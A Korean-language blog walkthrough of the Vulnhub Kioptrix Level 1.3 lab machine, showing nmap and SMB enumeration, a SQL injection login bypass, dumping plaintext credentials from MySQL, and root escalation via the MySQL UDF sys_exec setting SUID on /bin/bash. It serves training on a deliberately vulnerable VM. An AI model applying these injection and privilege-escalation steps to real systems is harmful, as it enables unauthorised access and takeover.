Vulnhub

[Vulnhub] Kioptrix_Level_1.3(#4) Walkthrough

jeff_kim 2024. 6. 19. 18:36

https://www.vulnhub.com/entry/kioptrix-level-13-4,25/

 

Kioptrix: Level 1.3 (#4)

This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It's common for an author to release multiple 'scenarios', making up a 'series' of machines to attack.

www.vulnhub.com

kioptrix 4번째 실습입니다. 실습 VM 구축은 이전에 설정하는 것과 똑같이 진행하면 이상없이 IP가 잘 잡힐것입니다.

 

실습 환경 : VirtualBox

 

 

 

정보 수집

└─$ sudo nmap -sn 192.168.45.0/24
...
Nmap scan report for 192.168.45.140
Host is up (0.00054s latency).
MAC Address: 08:00:27:B4:93:16 (Oracle VirtualBox virtual NIC)
...
└─$ nmap -p- --max-retries 2 --min-rate 2000 -Pn -n --open 192.168.45.140 -oA tcpAll                  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-19 16:57 KST
Nmap scan report for 192.168.45.140
Host is up (0.00026s latency).
Not shown: 39528 closed tcp ports (conn-refused), 26003 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 22.15 seconds

더 자세한 정보 수집을 위해 Nmap 기본 스크립트와 서비스 배너그래빙을 확인한다.

 

└─$ nmap -p 22,80,139,445 --max-retries 1 --min-rate 1000 -sV -sC -Pn -n --open 192.168.45.140 -oA tcpDetailed
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-19 16:59 KST
Nmap scan report for 192.168.45.140
Host is up (0.00048s latency).

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey: 
|   1024 9b:ad:4f:f2:1e:c5:f2:39:14:b9:d3:a0:0b:e8:41:71 (DSA)
|_  2048 85:40:c6:d5:41:26:05:34:ad:f8:6e:f2:a7:6b:4f:0e (RSA)
80/tcp  open  http        Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.0.28a (workgroup: WORKGROUP)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_nbstat: NetBIOS name: KIOPTRIX4, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.28a)
|   Computer name: Kioptrix4
|   NetBIOS computer name: 
|   Domain name: localdomain
|   FQDN: Kioptrix4.localdomain
|_  System time: 2024-06-18T07:12:19-04:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: -18h47m34s, deviation: 2h49m43s, median: -20h47m35s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.59 seconds

22 - openssh 4.7p1 

80 - apache httpd 2.2.8

139, 445 - SMB 

 

NetBIOS : KIOPRIX4

Domain name : localdomain

FQDN : Kioptrix4.localdomain

 

SMB

SMB 관련된 포트가 열려있기 때문에 Nmap SMB 프로토콜 스크립트를 이용해 좀더 자세한 정보 수집을 한다

└─$ sudo nmap -p 445 -sV --script='smb-vuln-*' -Pn -n --open 192.168.45.140 -oA smb-445                       
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-19 17:03 KST
Nmap scan report for 192.168.45.140
Host is up (0.00026s latency).
                                       
PORT    STATE SERVICE     VERSION                                             
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 08:00:27:B4:93:16 (Oracle VirtualBox virtual NIC)

Host script results:
|_smb-vuln-ms10-061: false                                                    
|_smb-vuln-regsvc-dos: ERROR: Script execution failed (use -d to debug)
|_smb-vuln-ms10-054: false

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.84 seconds

크게 특이점은 찾지 못했고, 다른 다양한 툴을 이용하여  SMB 프로토콜에 대한 정보 수집을 더 진행한다

# crackmapexec
└─$ crackmapexec smb 192.168.45.140
SMB         192.168.45.140  445    KIOPTRIX4        [*] Unix (name:KIOPTRIX4) (domain:localdomain) (signing:False) (SMBv1:True)

# smbclient -L
└─$ smbclient -L 192.168.45.140 
Password for [WORKGROUP\kali]:

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        IPC$            IPC       IPC Service (Kioptrix4 server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        WORKGROUP            KIOPTRIX4

 

enum4linux 툴을 이용했을때 그래도 이용할만한 정보를 찾았다

# username
loneferret
john
robert

 

딱히 외부에서 접근할만한 것은 보이지 않는다

 

WEB

웹사이트 방문시 로그인 창이 제일 먼저 뜬다. 페이지 소스, robots.txt 는 별다른 특이사항 없다.

 

gobuster 툴을 이용하여 디렉터리 브루트포싱 진행한다.

각 엔드포인트로 접근 시 별다른 특이사항이 없었고 대부분  index.php로 리디렉션되서 특이점이 없었다.

 

취약점 진단

#SQL Injection

우선 enum4linux에서 찾은 계정정보를 활용한다 그리고 SQL Injection을 하기 위해서  ' 를 넣어 어떤 결과가 출력되는지 테스트 후에 password에 1' or '1'='1 을 넣어서 로그인을 시도한다.

테스트

아주 좋은 에러가 발생했다. 대상 호스트는 MySQL 데이터베이스를 사용하고, 웹사이트 경로까지 파악을 완료했다. /images 엔드포인트가 노출되어있는 걸 봐선 File Upload 를 통해 익스플로잇도 가능할 것으로 예상한다.

# username:password

john:MyNameIsJohn

 

john
loneferret 는 등록되어있지 않음
robert가 john이 되었다....

획득한 것은 john의 계정정보. 이것을 활용하여 SSH 연결을 한다

 

초기 침투

대상 호스트에 john 계정으로 로그인을 성공했다.

매우 제한적인 아이디 인것 같다. 허용된 경로는 john의 홈디렉터리 밖에 없다. 우선 이 제한될 쉘을 벗어난다

제한된 쉘을 벗어난 이후 웹사이트를 운영중인 경로로 들어가 파일을 열어본다

john@Kioptrix4:/var/www$ cat checklogin.php
<?php                             
ob_start();                                                                                                                                                  
$host="localhost"; // Host name
$username="root"; // Mysql username
$password=""; // Mysql password
$db_name="members"; // Database name
$tbl_name="members"; // Table name

데이터베이스에 대한 정보가 chechlogin.php 파일에 저장되어있다. 정보를 파악했으니 데이터베이스에 직접 접근한다.

 

mysql> select * from members;
+----+----------+-----------------------+
| id | username | password              |
+----+----------+-----------------------+
|  1 | john     | MyNameIsJohn          | 
|  2 | robert   | ADGAdsafdfwt4gadfga== | 
+----+----------+-----------------------+
2 rows in set (0.00 sec)

john은 평문화된 비밀번호가 적혀있고 robert도 직접 접속해보니,, 뭔가 인코딩되거나 해시화된 비밀번호가 아닌 저 그대로의 비밀번호를 사용하고 있었다.

robert 계정 장악 완료

 

권한 상승

뭔가 새로운 방식의 권한 상승이 있을까 하다가 검색을 통해 찾은 MySQL UDF를 악용한 권한 상승입니다.

사용자 정의 함수를 사용하여 mysql을 실행시킨 사용자의 권한으로 명령을 실행 할 수 있는데, UDF가 작동하려면 관리자 권한으로 실행이 되어야하기 때문에 우선 확인을 한다.

john@Kioptrix4:/var/www$ ls -la /usr/lib/lib_mysqludf_sys.so 
-rw-rw-rw- 1 root root 12896 2012-02-04 10:08 /usr/lib/lib_mysqludf_sys.so

 

이 라이브러리는 sys_exec가 사용가능해서 외부 응용프로그램을 시작하는데 사용이 가능하다고 한다.

테스트를 위해서 직접 한번 해보겠다.

test.txt 파일을 만들었는데 만약 성공을 했다면 /dev/shm 디렉터리에 파일이 있을 것이다.

성공을 했다. 그렇다면 이 방법을 이용해 /bin/bash를 SUID 설정을 하여 관리자 권한으로 올라가보자

# 변경 전
john@Kioptrix4:/dev/shm$ ls -al /bin/bash
-rwxr-xr-x 1 root root 702160 2008-05-12 14:33 /bin/bash

# 변경 후
john@Kioptrix4:/dev/shm$ ls -al /bin/bash
-rwsr-xr-x 1 root root 702160 2008-05-12 14:33 /bin/bash

대상 호스트 장악 완료